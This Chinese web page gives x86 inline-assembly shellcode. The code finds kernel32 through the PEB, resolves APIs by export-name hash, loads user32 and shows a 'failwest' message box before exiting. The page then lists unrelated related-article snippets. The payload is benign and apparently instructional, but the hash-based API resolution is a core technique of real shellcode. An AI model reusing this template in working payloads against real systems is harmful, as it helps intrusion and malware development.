通用shellcode代码

#include <stdio.h>
#include <windows.h>

int main()
{
__asm
{
CLD //清空标志位DF
push 0x1E380A6A //压入MessageBoxA-->user32.dll
push 0x4FD18963 //压入ExitProcess-->kernel32.dll
push 0x0C917432 //压入LoadLibraryA-->kernel32.dll
mov esi,esp //esi=esp,指向堆栈中存放LoadLibraryA的地址
lea edi,[esi-0xc] //edi = 栈顶位置-0xC,例如0x0012FF28 - 0xC==0x0012FF1C
//======开辟一些栈空间
xor ebx,ebx
mov bh,0x04
sub esp,ebx
//======压入"user32.dll"
mov bx,0x3233
push ebx //0x00003233
push 0x72657375 //user
push esp
xor edx,edx //edx=0
//======找kernel32.dll的基地址
mov ebx,fs:[edx+0x30] //[TEB+0x30]-->PEB
mov ecx,[ebx+0xC] //[PEB+0xC]--->PEB_LDR_DATA
mov ecx,[ecx+0x1C] //[PEB_LDR_DATA+0x1C]--->InInitializationOrderModuleList
mov ecx,[ecx] //进入链表第一个就是ntdll.dll
mov ebp,[ecx+0x8] //ebp= kernel32.dll的基地址

find_lib_functions:
lodsd //eax=[ds*10H+esi],读出来是LoadLibraryA的Hash
cmp eax,0x1E380A6A //与MessageBoxA的Hash进行比较不等,必跳
jne find_functions
xchg eax,ebp
call [edi-0x8]
xchg eax,ebp

find_functions:
pushad //保护寄存器
mov eax,[ebp+0x3C] //PE头
mov ecx,[ebp+eax+0x78] //导出表的指针
add ecx,ebp //ecx=0x78C00000+0x262c
mov ebx,[ecx+0x20] //导出函数的名字列表
add ebx,ebp //ebx=0x78C00000+0x353C
xor edi,edi //这里了

next_function_loop:
inc edi
mov esi,[ebx+edi*4] //从列表数组中读取
add esi,ebp //esi = 函数名称所在地址
cdq

hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop

compare_hash:
cmp edx,[esp+0x1C]
jnz next_function_loop

mov ebx,[ecx+0x24] //
add ebx,ebp //= 0x78C00000+0x4424
mov di,[ebx+2*edi]
mov ebx,[ecx+0x1C]
add ebx,ebp
add ebp,[ebx+4*edi]
xchg eax,ebp
pop edi
stosd

push edi
popad

cmp eax,0x1e380a6a
jne find_lib_functions

function_call:
xor ebx,ebx
push ebx //cut string
push 0x74736577
push 0x6c696166 //push failwest
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04] //call MessageBoxA
push ebx
call [edi-0x08] //call ExitProcess
nop
nop
nop
nop
}
return 0;
}

时间: 2024-10-03 16:06:00

通用shellcode代码的相关文章

div+css通用兼容性代码整理

一.Div+css通用兼容性代码 你可以在css开头加入 *html{padding:0px} 复制代码 代码如下: <style> *html{padding:0px} /* Clear Fix */ .clearfix:after { content:”.”; display:block; height:0; clear:both; visibility:hidden; } .clearfix { display:inline-block; } /* Hide from IE Mac */

网站安全通用防护代码(用户读写数据库对用户输入或者发送(Post、Get)数据等进行检测过滤等)

每一个开发者都会意识到,网站发布之前,需要进行安全及系统漏洞检查. 那么如何拦截攻击者注入恶意脚本或代码?如何防御诸如跨站脚本攻击(XSS).SQL注入攻击等恶意攻击行为? 针对目前常见的一些安全问题,结合目前一些常见的防护办法,可在系统底层增加了安全防护代码. [Description("网站安全通用防护代码(用户读写数据库对用户输入或者发送(Post.Get)数据等进行检测过滤等),跨站脚本攻击(XSS).SQL注入攻击等恶意攻击")] public partial class S

网站安全通用防护代码(C#版本源码提供)

每一个开发者都会意识到,网站发布之前,需要进行安全检查. 那么如何拦截攻击者注入恶意代码?如何防御诸如跨站脚本攻击(XSS).SQL注入攻击等恶意攻击行为? 针对目前常见的一些安全问题,结合目前一些常见的防护办法,通用权限管理系统底层增加了安全防护代码, 现将源码提供如下 namespace DotNet.Utilities { /// <summary> /// 网站安全通用防护 /// /// 主要功能: /// 拦截攻击者注入恶意代码,可以防御诸如跨站脚本攻击(XSS).SQL注入攻击等

css+div通用兼容性代码最全

你可以在css开头加入 *html{padding:0px} http://chengbao.feizhuliu.in/home.php?mod=space&uid=1&do=blog&quickforward=1&id=268 <style> *html{padding:0px} /* Clear Fix */ .clearfix:after { content:”.”; display:block; height:0; clear:both; visibil

批处理通用测试代码

@echo off setlocal enabledelayedexpansion cd /d %~dp0 REM dir&pause pushd "c:\" dir/b c: dir c:\lks是j.bat&&set panduan=1||set panduan=0 echo !panduan!&pause echo errorlevel为:%errorlevel%&pause if %ERRORLEVEL% == 0 (能找到文档) els

一些通用的代码

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; using Maticsoft.DBUtility; using System.Reflection; using Page; using Common; using System.Data.SqlClient; namespace Test{ public class BaseDAL<T

还在为开发APP发愁? 这里就有现成通用的代码!

1.开源控件 1)首页: 1.1)首先是下拉刷新数据的 SwipeRefreshLayout 地址:https://github.com/hanks-zyh/SwipeRefreshLayout 1.2)首页轮播的Tab样式,这个网上也是非常多样例 PagerSlidingTab 地址:https://github.com/astuetz/PagerSlidingTabStrip 1.3)首页的悬浮快捷菜单,相似于Google+ FloatingActionsMenu 地址: https://g

C#导入导出数据到Excel的通用类代码

Excel文件导入导出,需引用Microsoft Excel 11.0 Object Library /////////////////////////////////////////////////////////////////////////// //Purpose:Excel文件导入导出,需引用Microsoft Excel 11.0 Object Library //Author: Dangmy //Date: 2007-03-09 //Version: 1.0 ///////////

webservice通用客户端代码

package test; import javax.xml.namespace.QName;import org.apache.axis.client.Call;import org.apache.axis.client.Service;import org.apache.axis.description.OperationDesc;import org.apache.axis.description.ParameterDesc; public class TestWS2 { public s